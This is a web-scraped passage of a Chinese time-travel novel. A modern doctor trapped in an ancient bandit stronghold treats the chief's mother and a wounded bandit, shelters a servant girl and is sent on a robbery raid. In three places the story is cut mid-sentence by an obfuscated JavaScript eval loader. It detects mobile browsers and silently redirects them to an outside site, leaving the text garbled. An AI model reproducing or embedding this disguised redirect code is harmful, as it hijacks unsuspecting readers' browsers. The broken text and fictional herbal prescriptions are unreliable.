书中说老夫人是在原书女主被绑架之时病逝的,那说明现在情况应该还好,等会儿具体看一看,得尽量地延长老夫人的生命,说不定这能成为之后朝廷剿匪的一个关键。不过,话又说回来,自己真不能穿回去了吗,在这仅仅呆了一天,仿若已经过去了一年,前路坎坷,她想念家中温柔的床被,想念医院刺鼻的消毒水味,就连主任的絮絮叨叨她也开始怀念起来...... 徐青茹思考着,一口一口地吃着馒头,慢慢感受到一股甜味在嘴里晕开。 她真的能独善其身,真的能等到被朝廷解救的那一天吗? 罢了,只能走一步算一步了,活过今天,再活过明天! 忽然,徐青茹感到有一道视线隐隐约约地落到她身上,她手中的动作顿了顿,心中拉上一根弦,蓦地抬头,视线正好与少年对上——他目光炯炯,漆黑深邃的眼眸中带着浓厚的探究。 而此刻—— 那剑尖也正好对向她,在阳光的照耀下闪烁着冰冷的寒意。 “你怎么知道老夫人有肺痨?”栾佑突然问道,语气无波无澜但包含着一丝难以察觉的尖锐。 这让徐青茹瞬间回到昨日紧张危险的氛围之中。 糟糕! 徐青茹心中大喊不妙,无意识的思考带来了不合时宜的表情,更何况她当时突然说自己会治肺痨确实是一个大bug,难道她能说自己看了原书,不仅知道老夫人得了肺痨还知道你们之后会被剿灭? 不过,这个小土匪突然发问究竟是因为大当家起疑了,还是他自个就想问......徐青茹咽了一下口水,看着少年的眼睛,假装镇定地回答道:“猜的。” 沉默片刻。 “哈,我就知道是这样啦。”少年笑了笑,露出若隐若现的虎牙,他收回视线,也把自己的短剑收了起来,清冷的嗓音似乎中带着一丝温柔,“没有吓到你吧,徐姑娘。” “没有,只是当时我运气好罢了。”徐青茹讪讪地露出一个笑容,当然吓到了!大哥你动不动用剑威胁我,我就算不被你真的杀死,迟早也会被你吓死。 囫囵吃完馒头,徐青茹便跟着栾佑出了这间石屋。 外头阳光正好,两人一前一后地沿着一条宽阔道路走着,蓝天白云,视野开阔,旁边种栽着杏树,像阵阵宽阔的大伞,缀着粉白色的花,时而摇曳,时而静默,两人走在道路上,仿若踏上一条开进花海的船,清风微拂,暗香幽幽。 “绿杨烟外晓寒轻,红杏枝头春意闹。” 徐青茹不由想到读书时期学过得一首古诗,诗人才情,将其描绘得如此惟妙惟肖,生机勃勃,春日杏花盛开,这大概也是杏花寨寨名的来由吧。 面对此番美景,如果她不是正处在一个凶险的山匪窝里面,徐青茹一定会高兴地连发几条朋友圈,好好玩耍一番。可惜,人在屋檐下,她不得不打起十二分精神应对一切突然事故。 旁边偶尔路过几个五大三粗的山匪,笑嘻嘻地向栾佑问好,少年便勾着唇,懒散地“嗯”一声。 又有人问他,跟在他身后的徐青茹是谁,是不是他的姘头,少年似笑非笑,眼神中透着一股冷漠与凛冽:“胡说什么呢,是大夫,说不定你们这些猢狲之后还得靠人家救命。” “噢噢!是大夫!”问的人作出恍然大悟的模样,亦也咧着嘴向徐青茹问了个好,“大夫,以后咱们几个生了病,划了个伤口,就找您嘞!” 徐青茹心中思绪复杂,但面上却是有些羞怯,微微笑着点头,等这些人走后,便默默拉开了与少年的距离,愈发低眉顺眼地走着。 他对自己态度大变,必有缘由,但究竟是什么原因呢...... 直到她撞上个坚硬的东西,一抬头,一股清冽的杏花香味忽然钻入鼻中,少年正站在她面前,双手散漫地交叉抱着臂,神情慵懒又带着点不解:“不是刚刚吃完饭了吗,怎么走得跟那乌龟一样慢?要不回来再给你带个馒头?” 徐青茹:...... “想着等一下要给老夫人看病,有些紧张。” 少年表情一顿,却并未说话,只是接下来的步伐放慢了不少,等到快到之际,他的声音从徐青茹头上传来,不疾不徐,似是宽慰,“暖,不用紧张,我在旁边看着呢。” 徐青茹心神一动,紧了紧手,微微点头。 老夫人所居住的地方也是一个石屋,只是比起徐青茹住的那间仿若关押犯人的房子,老夫人这房明显更加符合徐青茹对于古代各式家具布置的想象——地上铺着地衣,两座束腰高花几,一个摆着一套紫砂茶具,另一个则放着一古铜香炉花瓶。正堂用一架乌木雕花刺绣屏风隔开,长几上供奉了一尊菩萨。 刚刚进房门,便闻到一股浓郁的药味,徐青茹闻了闻,大概是白芍、葛根、生地等十多余种药材的味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935208|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿婆。” 少年一声轻唤,疾步走到紫檀木床前,欲拿过在旁服侍侍女手中的汤药,上前服侍。 “小栾爷,大夫嘱咐过了,除非带上面纱,不能离得太近,还是让奴婢来吧。”侍女知秋道。 栾佑顿了一下,思忖片刻,“那你给我拿一个面纱,也给徐姑娘拿一个。” “好孩子,不要来看我了,回去吧。”老夫人摆了摆手,疲倦的声音隔着一席软烟罗纱帐传了出来,伴随着一阵阵咳嗽声。 “阿婆,”少年神色凝重,语气却是罕见地温柔,“您别担心,这次找了位医术高超的大夫来给您看病,阿婆您一定会好起来的。” “又找了位大夫啊?找了多少个大夫也未见好......” 徐青茹走上前,行了个虚礼,“老夫人好,小女徐青茹,从小学医,愿为老夫人一试。” “女医呀,这倒稀奇。”老夫人声音虚弱,“姑娘,那拜托你过来看看了。” 徐青茹对着少年说了声借过,便移动着坐在床角处,动作轻缓地掀开一边纱帐,头微微探进去,查看起病情,不时低声问着些什么。 额头低热,盗汗,咳嗽,胸口伴随疼痛...... 一炷香的时间过后,徐青茹心中才算有了底,她将纱帐轻轻重新合拢。 “姑娘,老妇这病是不是已经无药可治了?”老夫人问道,声音无波无澜,似乎已经接受了自己不久后便会离世的事实。 “小女认为老夫人您的病还未到最坏的情况,我先给您配一药方试试,再看后续变化。”徐青茹说完,又看向那名侍女,“姑娘,可否记录一下我接下来所说的药材?” “知秋不会写字,我来记。”少年突然出声,走到正堂一侧的黑漆四方桌旁,接过侍女递来的笔和纸,神色专注地看向徐青茹,“说吧,徐姑娘。” 徐青茹微愣,点头,思略片刻说道:“潞党参、生黄芪、侧柏叶这三样各一两,紫丹参、全当归、花蕊石,嗯,再加上白芨、甘草这五样各一两......早晚各一次,煎服,平日注意休息,切勿疲劳。” 为了方便少年记录,徐青茹故意放慢了语速,念完后不久,那人也写好了,侍女会意,从书桌上拿起纸张将其递到徐青茹的手中。 “徐姑娘看看,有什么记错的地方?”少年将毫笔放在一旁,声音淡淡。 徐青茹将黄色的纸张接来,心中却是一惊,少年的字迹遒劲有力,疏密得体,但亦飞洒活泼,笔墨横姿,收放自如,看得让人赏心悦目。 这种只会耍刀弄枪的山匪字也写这么好? 真是草窝里趴状元。 当然,这小山匪可哪能称得上状元,算个恶鬼还差不多。 徐青茹仔仔细细地查看了一遍,摇摇头:“没有错误。” “行。”见徐青茹这边认可,少年便吩咐道,“知秋,你等会儿把这方子拿给屈大夫看看,如果没有什么问题,过几日便给阿婆服用。” “是。” 徐青茹:“到时候煎药的话,知秋姑娘也喊一下我吧。之后我会每日来老夫人这里,看看情况变化,并适时作出相关调整。” “好的,徐姑娘。” 第一次看病便如此结束,栾佑对老夫人说了声不打扰您休息,便带着徐青茹离开了房间。 “怎样,徐姑娘可有七分把握?”屋外,少年站在杏花树下,身姿挺拔,神色淡然,长而密的睫毛在眼睑投下两道扇形的阴影。 5. 第 5 章 安置 徐青茹身姿端庄大方,心中正细细盘算着——看完老夫人的病情,她的确有七八分把握,但话到嘴边便成了:“小女还需要再观察老夫人几日,才能给出一个明确的答案。” 她声音不卑不亢,清脆悦耳,有着正常医者看完病人后的从容泰然,而毫无此事关系性命的紧张急迫之感。 “是吗?”栾佑的目光落到她身上,似乎若有所思,过了片刻,他嗓音勾着些散漫,却又如泉水般潺潺流过耳畔,“既然徐姑娘说还要几日,那我便等着姑娘的反馈。” 徐青茹扬起头,直视着少年,神色自然:“我自会日日向小栾爷汇报老夫人的身体状况。” 栾佑微微颔首,眼睫垂落,忽然伸出手来轻触到徐青茹的衣肩上,轻轻一拂,一片白色尾红的花瓣便飘落下来,徐青茹不由“咻”地后退了一步,耳尖微动,警惕的眼神落到他骨节分明,修长白皙的手指上,正好错过少年眸中一闪而过的探究。 “一片花瓣。”少年收回手指,那一刹那的触感顿时消失,乌黑的眸子里含了点别样的情绪。 栾佑的目光透过徐青茹落到远处的重重山峦之上,随后敛眸,嗓音平稳淡然,“我已让人帮你重新安置了一个房间,你那位妹妹,等会儿也会过去那找你。” 妹妹? 是那个女孩?! 他们难道发现了什么还是说只是巧合....... 徐青茹压住心中思绪,露出一个再标准不过的笑容,连连向着少年道谢。 石屋里面没有徐青茹的任何物品,于是她直接去了栾佑为她安排的小院。 这里也种满了杏花,明晃晃的一片雪白,花瓣落了一地,洋洋洒洒地镶嵌在棕色的土壤与茵茵青草之上。 还未进屋,那女孩只是见到她身影,便如箭一般冲到面前,拉着她的手,一脸受经磨难后见到了亲人的兴奋模样:“姑娘你终于来了!!” 尽管对女孩而言,徐青茹也是一个会杀人的狠角色,但在这群暴戾恣睢的山匪中,至少她刚开始有救过她的命,更值得依靠。 徐青茹神色未变,谨慎地看了一眼四周,拉过女孩的手快步将其带入屋中,顺便把大门紧紧关上,这才问道:“昨天你和那群人一起,有发生什么吗?” 女孩一顿,思略片刻后摇了摇头:“没有什么,就是嫌弃奴走得慢,挨了几下打。” 什么事情都没有发生......难道是因为山寨中发生了别的事才导致书中结果吗...... 徐青茹心中疑惑,又问:“可对你们说了什么?” “......未曾。” “那张皮子呢?他们最后等到了吗?”徐青茹问这话时,刻意凑近些,压低了声音。 “没......没有,等了好一会都不见人,不过姑娘你说,那个张皮子是不是就是被我们......” 徐青茹忽地捂住女孩的嘴,杏仁般明亮的眼睛盯住她,紧接着作了一个噤声的动作,女孩会意,连忙点点头,徐青茹这才放开了她。 “......他们让你来我这,有说是来干什么的吗?”徐青茹一边问着,一边开始打量起这间屋子——各式用具齐备,虽比不上老夫人的房间,但也比昨日睡的石屋好上太多,今天能睡个好觉了,徐青茹默默想到。 “他们问奴,是否与姑娘你相识,奴只说是随行的丫鬟,姑娘并不认识奴......他们便说,既然奴是丫鬟,就过来伺候姑娘您也好全了本分。” 听到这话,徐青茹转过头来,看了女孩一眼,女孩低着眉,双手攥着衣裙,看起来有些紧张。 说是丫鬟?这姑娘脑袋确实比之前灵活了不少。 片刻后,徐青茹出声问道:“说说你的姓名和来历。” 女孩抿了抿嘴,偷偷抬头看了一眼徐青茹的神情,见她神色无异,便开口说道:“奴叫桂月,出生在云州不远处的广凌县,家里是卖豆腐的,一年前我们的日子还算好过,但有一次有人吃了奴家里做的豆腐后便得了怪病,上吐下泻,不久后就死了,这人的亲人便找上了我家麻烦,又哭又闹,爹娘怕影响生意便赔了一些钱财。但要我说,就不该赔的!奴家豆腐干干净净,准是那人吃了别的东西栽赃给我们!”说到这,桂月语气也激动起来,看起来心中十分气愤。 “那些人得了钱财,本来还好好的,后面又不知是撞了什么邪,黑了心肠,他们家中死了个孩子,竟又找上我们,我爹娘不肯,便和他们打了起来,一个......一个不小心,竟然把其中一人打死了!官府便将阿爹关进了大牢......有门道的人告诉阿娘,给官府交些钱财便能减轻处罚,奴家中一共五口人,奴上头一个哥哥,下头一个弟弟,为了凑够这些钱,阿娘便把奴卖给人牙子,后面......奴被贺叔看中,在他家中做些粗活。贺叔对奴极好,他说这次带着奴一起去城阳王府,让奴进去也做个王府丫鬟,沾些气派,奴自是高兴,可没想到......贺叔死了......奴也进了这狼窝......” 桂月双眼中又蕴起一层水汽,脸色微微发白,眼神可怜地看向徐青茹:“如今这境地,奴也不知如何是好,求姑娘不要计较奴之前那些小心思,奴实在是太害怕太想活着呢,姑娘心善,可否留着奴作个丫鬟?” 徐青茹心有芥蒂,亦不知这眼泪是真是假,只是,现今面对这些悍匪以及张皮子的事情,两人倒可以站在一条船上,故而徐青茹并未立马答应,只说:“他们既然已经安排了你和我同住一间院子,我也不会亲口去拒绝,只是,希望桂月姑娘明白,我们是一条绳上的人,不要作出一些损害我俩利益的事情。” 见她松口,桂月脸上露出激动的神情,双颊和耳尖染上红晕:“自然!自然!从今往后,姑娘叫奴往东,奴决不往西,必事事听从姑娘安排,服侍好姑娘!” 见她这般,徐青茹上前安抚性地拍了拍女孩的背,眼眸轻柔但又冷漠独立:“那你我,务必谨慎,再谨慎。” “是!奴谨记姑娘告诫!” 徐青茹垂眸,隐去眼神中的一抹复杂:“不用自称奴了,叫‘我’或你名字‘桂月’便是,还有,我来自汉林徐府,名叫徐青茹,可记住了?” “是。” “桂月记住了。” 徐青茹瞧着她,又问:“昨日他们打你,是打得哪里?可还疼?若是严重,我给你看看。” 桂月眨巴眨巴眼睛,似乎有些意外徐青茹会过问她的伤势,噙着的泪花像珍珠一样滚落下来,直愣愣地看着徐青茹好一会儿,这才回到:“打在后背上,我皮糙肉厚,应该不碍事。” 徐青茹看着她,没说话,沉静了片刻,忽地拉住女孩往床边上走,语气温柔却不容反抗:“我给你看看,别动,以免留下什么病根。” 女孩讷讷,任由着徐青茹查看她的伤口——只是些许皮外伤,并未伤及筋骨,此外,也并没有任何被凌辱的痕迹。 徐青茹收回视线,吩咐女孩把衣服穿好,并宽慰她,这伤养个几天应该就好了。 桂月点点头,看起来很信任徐青茹说的话。 * 仔仔细细地观察了老夫人好几日,徐青茹才明确同大当家和那位小栾爷说明,自己有七分把握可医治好,大当家虽是将信将疑,但眉梢上明显挂了一丝喜悦,摸了好几把锃亮的黑胡子,直言若徐青茹真若治好老母, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935209|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是他单貂的恩人。 徐青茹等的就是这句话。 百善孝为先,孝道大于天,即使是当了穷凶极恶的山匪,也有一把名为“孝”字的刀顶在头上,悬而未决。 这日,徐青茹正在屋内,伺候着老夫人喝下药汤,一人步伐紧急,向徐青茹抱拳作揖:“徐姑娘,二当家手下有一兄弟胸口受了刀伤,张大夫今日去山外采集了,事态紧急,望徐姑娘前去一看!” 徐青茹将药碗递给知秋,看向那人,刀伤,莫非这些人出了山寨又...... 徐青茹敛去神色,点点头:“请好汉带我过去!” “请!” 路中,杏花依在,随风摇落,绵绵无尽。徐青茹紧跟那人身后,忽地打听道:“杏花寨,是不是都对弟兄们的性命看得挺重?” “那是!”那人虽奇怪徐青茹为何这般问道,但也挺了挺背,语气无不快意自豪,“我们这些人都是家中贫困的汉子,或者猎户,勤勤恳恳了一辈子也捞不到几个钱,入了这杏花寨,虽然干的不光彩,但毕竟生活有了着落,人也活得滋润,这大当家、二当家、三当家的,对咱们也好,要了这头就得舍弃那头,活这么几个幸福日子,便是以后砍了头也值了,你说对不对徐姑娘?” 徐青茹并不苟同,古语有云,君子爱财,应取之有道,视之有度,用之有节,但转念一想,自己孤零零地来到这异世,开篇便手上染了血,对他人也是半分真情半分假意,唯有活下去一个念头,又有何资格评价他人呢?于是徐青茹淡淡地笑了笑,只说:“好汉言之有理,青茹受教。” 弯弯曲曲地绕了段路,徐青茹终于赶到了那受伤的山匪所在的居处。 竟然也是个极为年轻的小伙子,估摸着应只有十六岁左右,这少年皮肤黝黑,眼睛半阖,上身赤裸,身材精瘦,一条深深的伤口从他左肩直接划到胸前,十分狰狞,他平躺着,鲜血“咕咕”地往外冒,浓烈的血腥味充次于房内,二当家罗斩秋,一身深红色衣裳,负手站在一边,眼神幽黑,一人正在手忙脚乱地用针线给少年缝上伤口,但似乎臂力不稳,过程更加急促起来。 “我去你的!王山宝,你会不会呀!你这样磨磨蹭蹭,十九等得及吗!” “说说说!你就知道说,要不你来?!这他妈不是布,这是人的肉啊!” “我这不着急吗?你快点,别犹豫了!” 徐青茹见状,大喝一声停下,打断了他们的争执,她跑到少年面前,对着那包扎的人道,声音冷静有力:“我来!这儿有金创药吗?” 那人如负重释,赶紧将手中针线递给她,语气也一下软了下来,回答道:“没,没有......最近的用完了。” “那有没有三七粉,草木灰?“ “有,有,这个有!” “好,你赶紧拿来,还有白布也给我,之后我来包扎。” “你是谁?小心伤了十九!”见徐青茹未经许可行事,有一人突然喝到,声音粗犷。 徐青茹接过三七粉和白布,手上麻利,先是在伤口处轻轻敷了一层药物,之后拿着针线按照伤口的纵轴方向逐步完成缝针,听了他人质疑,头也不抬地说到:“要想救命,就闭嘴,否则扰了我宁静,便是十头牛也拖不回你兄弟的命。”最后她再用白布在少年伤口处细细缠绕起来。 徐青茹少有这般犀利的时候,说得那人直呼,“你!你......" “闭嘴。”罗斩秋声音淡淡,却带着不容抗拒的威严,她看向那位正专心包扎的女子,眼睛微微眯着,神色难以辨析。 片刻,徐青茹完成包扎,还打了一个漂亮的蝴蝶结,这才露出一个满意的笑容。 6. 第 6 章 外出 秉持着医者仁心,徐青茹一边等候着这少年清醒,一边嘱咐他人煮些含了黄芪、当归、党参的汤药。 见着她忙上忙下,女人露出一丝阴冷玩味的笑容:“徐姑娘倒是用心。” 徐青茹笑笑,露出两个若隐若现的酒窝:“当日我有言在先,不敢不用心,况且,身为医者,救死扶伤便是责任。” 况且,她也未曾想到这山寨对普通人的性命也如此看重,倒是比她从影视中了解到的封建王朝更具有平等风范,当然,这也仅仅是特定区域内的平等,若遇到那被抢劫的官兵、百姓,也是一刀下去,绝不留情。 罗斩秋“嗬“地笑了一声,“徐姑娘真是,能说会道,我算是见识了。” 徐青茹弯了弯唇,倒是坦然接受了这番“夸赞”。 “二当家,徐姑娘!十九他,他醒了!”一人惊喜地喊到,这人便是之前质疑徐青茹的那位。平日里他与十九关系最好,待十九如半个弟弟,如今看他落了伤,心中焦虑,见经徐青茹之手后,十九苏醒,便不由对徐青茹存了几分感激与敬佩,再无半点不服。 徐青茹忙上前察看那位少年状况:“如何,可有哪些疼痛?” 十九唇色发白,脑袋也晕乎着,突然听到一声如仙乐般的话语,又看到一位俊俏貌美的姑娘正担忧地看着他,不由脸上一红,半句话也说不出。 见他不语,徐青茹误以为是发烧,忙用手摸了摸他额头,却是正常温度,又用手在他面前晃了晃,柔声问道:“能看得见吗?” 这会儿十九有了些清醒,点点头,脸上的霞红不退。 见他正常,徐青茹又把之前的问题问了一遍。 十九这才回答,她点点头,心中记下这些症状,吩咐他这些日子一定要好好养伤,切勿耍刀弄枪,做那粗壮活。 “徐姑娘,你放心,他那些活我都替他做了。“之前质疑过徐青茹的那位壮汉说到,半会,黝黑粗狂的脸庞又带了些歉意,“徐姑娘,刚刚对不住了,实在是担心我这个兄弟。” 徐青茹微微摇头:“无碍。” “徐姑娘,你以后遇到什么困难,尽管找我房老三,若有我能帮上的,一定给你帮忙!” 旁边那少年也急忙说道:“徐姐姐,既然是你救了我,你便是我的救命恩人,有什么事我也来帮忙!” 徐青茹弯了弯唇,虽嘴上说着区区小事,不足挂齿,但心中亦隐隐约约有些兴奋,只要她救的人越多,那么是不是意味着她这条性命的份量越重?如果她的价值超过了一定程度,这便是她立身保命的根本,到时候,即使是这些人想对她做些什么,也要掂量掂量一下轻重。 再细细地嘱咐了十九一些忌讳,徐青茹便回了自己的小院。之前栾佑跟她说,这院子没名字,叫她给取一个,徐青茹思考片刻,便取了一个,叫“还明院”,取自陈与义的诗句,“海压竹枝低复举,风吹山角晦还明。”这个名字寄托着她的愿望——愿她早日脱离困境,日出黎明来。 一进门,桂月便迎了上来,神色有些担忧:“听报信的人说,姑娘被喊去治病了,怎么样,他们没有为难姑娘吧?” 女孩的神情真真切切,徐青茹心中也有些感动,温声说:“没事,相信我的医术。” “太好了!”桂月笑起来,眼睛都成了月牙状,又忽地想到什么,“对了,那个,那个三当家派人给姑娘送了好些衣裳、锦缎,还有一些华丽的珠宝,姑娘可要去看看?” 三当家? 徐青茹在杏花寨的这些日子,也算摸清楚了寨中的一些主要人员:大当家单貂,正值壮年,善于计谋;二当家罗斩秋、虽是女人,却手段狠辣,喜怒无常;三当家宋又新,就是那个书生模样的山匪,喜好风雅;四爷张磬,听闻还在外头走差尚未归寨,五当家乔双元,之前她第一次见大当家时那个长得最粗壮的大汉,听闻力大无穷,可头顶水缸;之后便是小栾爷栾佑,这位少年身份似乎有些特殊,听说是大当家故友的儿子,大当家对其极其信任,性格冷淡,为人孤傲。 此外,大当家有两名小妾,分别唤作凤奴、琉霜,听闻凤奴沉稳,琉霜娇媚,但徐青茹都未曾见过,应该是待在大当家房中,很少出门。 如今三当家宋又新给自己送了这么多东西,这是想干什么呢.....徐青茹沉思着,随桂月进入屋内,看到那些被送来的珠宝衣裳——件件光彩四溢、精巧细致,应该都是他们打劫抢过来的好东西。 “送的人怎么说?”徐青茹问道,心中闪过一丝不安。 “他们说,姑娘您医治老夫人有功,理应受到奖赏,若姑娘不要,便直接把这些东西扔了,也不用退还。” 医治老夫人有功? 老夫人最近病情确实是好了不少,但也没有达到完全康复的地步,何来如此大的功? 徐青茹凝思片刻,目光落到那些珍品之上,语气温和但透着一股冷意:“既然要我们收,那我们便好好收着。” * 因日日在老夫人跟前照看,又救了十九的性命,最近还给几个土匪看了些小毛病,徐青茹在杏花寨也有了些地位,平日走上路上,会有几个壮汉或者伙子笑着对她打招呼,喊她“徐姑娘”,偶尔在外抢到了什么好玩的、好看的,还会分些给她。 徐青茹不扭捏,全收了。 她已上了贼船,湿了鞋,徐青茹并没有刻意地否认这一点,也不愿自欺欺人,现今已经是她的最优选项了。 但如果问徐青茹,如果有一天,让她背叛这些人,踹了这山寨窝,她会愿意吗? 当然。 她亦没有什么好犹豫的。 不过现今,最值得徐青茹担忧的一件事来了——她被派给了“走差”的任务。 按理说,徐青茹是大夫,应该是在后方治病救人,而且还正在照料着老夫人,为何要上“前线”?只有一个原因,单貂对她仍然不放心,只有彻彻底底地让她参与、将她同化,他才能安心地用她这个人。至于张大夫,本来就是游医,还是被半强迫半威胁喊来的,危险性自然比不上自愿入寨的徐青茹。 听闻这个消息,桂月也是十分着急,这几日眉头皱着,似乎有化不开的忧愁,做事时也有些心不在焉。 这日,桂月终是忍不住了,眼神中满是急切,耳垂的首饰摇摇晃晃,像翻涌的波浪:“姑娘,您怎么想的呀,难道真要出去干那档子事情吗,且不说好坏吧,就说那刀剑无眼,万一一个不小心就伤了您呢?您能不去吗?” 即使徐青茹最开始杀死过一个悍匪,但那也是出其不意之下的结果,如果真的面对那些训练有素的镖人或者壮汉,手无寸铁、半分功夫都不会的徐青茹简直就是案板上的鱼肉,任人宰割。 但—— 徐青茹摇了摇头,眼尾部的线条在烛火照耀中被拉长,仿若一把开了刃的刀,她看向桂月,语气平和但坚定:“我不能拒绝,拒绝之日便是我的死期,那个时候,月桂,你也难以活下去。但如果我接受外出,生还的几率至少还有一半。” 至少她接受任务外出,房老三和十九会护着她一些,拒绝才是真正的死路。 想清楚这一点,徐青茹便没有什么好犹豫的了,甚至为了这一次行动,徐青茹开始每天锻炼:跑步、挑砂石、用小刀刺稻草人......训练得十分刻苦——虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进入山寨的时候她是被蒙住了眼睛,看不见外界,只听得到声音,如今正在站在这石垒门前,不由感叹,此门高大宏伟,连接城墙,气势磅礴,人站在门前,恍若只蝼蚁。若是外界人马前来攻寨,这大门,便是一道难以翻越的障碍。 今日赵慈不去,为首的便是三当家宋又新和小栾爷栾佑,徐青茹安静地站在少年旁边,衣服是灰蓝色的布衣,朴实而素雅,她敛去神情,老老实实地充当一个树桩子。 “徐姐姐——” 徐青茹忽然听到有人喊她,声音不大却包含喜悦,她抬头,正好与十九的目光对上,少年穿着麻衣粗布,笑着向她招了招手,趁人不注意时,偷偷地往她这边靠,“听闻徐姐姐今日要出门,我便也来了,姐姐放心,路途中我一定会保护你的。” 徐青茹心中微微发酸,被人惦记总是好的,她冲十九温柔地笑了笑:“嗯嗯。不过十九,你伤势才好,切记不要用力过猛。” “我知道的,徐姐姐你放心,我心中自有分寸。” 徐青茹点头,吐出一股浊气,之后便稍稍整理了一下衣裳,将两鬓的碎发拂去耳后,露出光洁白皙的脸庞和一段娇嫩的脖颈。 清风拂面,栾佑侧过头,看到的便是这样一副光景。 少年伸手轻缓地摸了摸自己腰侧的短剑,一如既往的冰冷锋利。 他眼眸乌黑而清亮,此时却透露出一股明目张胆的、仿若猎人望向猎物般的打量之意——他在想,如果这把剑刺入徐青茹的脖颈,割破那含着一层晶莹的皮肉,鲜血喷薄时,她将会是什么表情? 7. 第 7 章 受伤 起初,他是并不想杀她的,只是觉得有些新奇,但—— 商户之女,自学成才,医术极佳? 与其相信这样蹩脚的说辞,不如相信这是一个早已安排妥当的棋局。 而且这名女子长相...... 栾佑收回视线,眼中的情绪也随之褪去。 石垒门已打开,一行人浩浩荡荡地向前前行,远处的山谷传来一阵阵惊鸟啼叫,回荡不息。 不出徐青茹所想,他们仍然给她蒙上了眼,由一山匪押着,只待到达目的地时解开。 走了不知多久,周围环境愈发冷清,徐青茹亦觉得有些疲倦时,停了。 她一顿,还未有反应,骨节分明的手指忽绕到她脑后,轻轻一扯,那块黑布便顺滑地落入他人手中。 突然其来的光明往往刺人,徐青茹不由用手遮了遮,直至适应下来,却忽地发现身侧站立的少年以及他手中的物什,她不由一愣,轻声道:“谢谢。” “无碍。” 徐青茹看了眼四周,是在一条并不宽阔的山路上,而这些山匪则欺身掩没于山路旁的密林之中。 她现在,也正处于树林内,分外隐蔽。 她一边心中记着这里的地形、地貌以及相关特征,一边小声问道身旁之人:“要是人家留下钱财,跪地求饶,那做我们这行的,还需砍人家脑袋吗?” 听到这话,少年侧过头来看她,一双眉眼生得漂亮,此时却是似笑非笑:“你觉得呢,徐姑娘。” 徐青茹瞬间就明白了少年的意思,她心中暗骂一声果然,随后对这些人的做派有了更深的认识。 她敛了神色,悄无声息地后退一步,声音平静:“青茹知晓了。” 转眼,忽听得一声大喊,“你们是何人,竟敢拦钟家的车马!” 原是三当家宋又新见来了货运满满的商户,便叫着弟兄们出来一展身手,行凶打劫了。 徐青茹思考不过片刻,欲也上前全了大当家对她的一番“苦心”,却被少年一把抓住手腕。 温热的触感落到她手上,徐青茹垂眸:“小栾爷这是何意?既不能不做,何苦拦我。” “这个较为危险,车马护运人数较多,且神色冷峻严肃,应是练家子,一旦动起手来,你性命难保。”少年声音沉稳,眉头微皱,似有担忧之意。 听着他的话语,徐青茹望向不远处的前方,一群长长的车马被杏花寨的人围住。仔细看着,人数上,双方持平,体力上,那些护送货物之人十分精瘦、孔武有力,而杏花寨这边略微松散,似乎落了下乘。此番上前确实凶多吉少。 但,留在这里......又真的安全,或者说正确吗...... 女子眼眸沉了又沉,忽用力摆脱了少年的桎梏,声音清冷但坚定:“失礼,但民女不得不去。若民女真死了,也算是为杏花寨尽了份心意。求小栾爷成全。” 说罢,徐青茹向眼前之人行了一礼,便头也不回地往前面走去,只留下少年目光沉沉、略有所思地看向她的背影。 的确,与栾佑站在这不远处的树林背后确实安全可靠,但,这位“替她考虑”的小栾爷可是大当家信赖之人,他这番行为是否正是试探之意,欲探究她是真心还是假意?而且,虽此时山匪看上去未占上风,但徐青茹细细观察那位管事,气派虽足但一双眼睛漂浮不定,左顾右盼,不似全然放松镇定,有些蹊跷。 富贵险中求,她亦需赌一把。 徐青茹掏出了一块黑布,遮住大半脸庞,眼神冷漠,悄无声息地走入山匪之中。十九见着她,也默默移动到她身旁,向她微微点头。 被团团围住的管事甩袖一挥,眉眼中含着怒火,喊道:“你们这些小贼,究竟想何干!欺到我们钟家头上,你们便是有十个脑袋也不够砍的!” 宋三当家冷笑一声,也收起了平日里那幅温和作派,摇了摇扇子:“管你们哪个钟家王家!今日遇到了我宋三当家,要想活命,钱财就得留下!” 话音刚落,一群山匪便纷纷挥舞着刀剑,作凶煞模样,恶狠狠地盯着面前的人、物,好比那亡命之徒。 徐青茹心中暗自感叹:这商户虽有侍卫护着,又拿出这劳什子钟家起威,但还是少了一分鱼死网破的杀意。 果然,见着这些山匪凶态毕露,钟家管事脸上显出一丝忐忑不安,但仍然强撑着,不愿放下货物。 双方气氛瞬间剑拔弩张起来。 “徐叔,跟这些贼人废什么话!我们人也不少,怎么就干不过?!”一年轻伙子冲那管事大声道,手臂一展,挥舞刀剑,“兄弟们,跟着我,上!” 那些个练家子一瞧有人带头,便也纷纷拿出武器,大喝一声,上前奋战。 瞧着这场面,宋又新阴冷地“哼”了一声,打了个手势,数名山匪亦蜂拥而上。两方人马交手,刀光剑影,分外激烈。 徐青茹也未例外。 她凭借着几日训练和身体优势,灵活地躲避他人攻击,又处处留心着场上局面——这些商队之人,行事确没有山匪狠戾,因而,虽是有武功在身,却被山匪野蛮的打法打得节节败退。 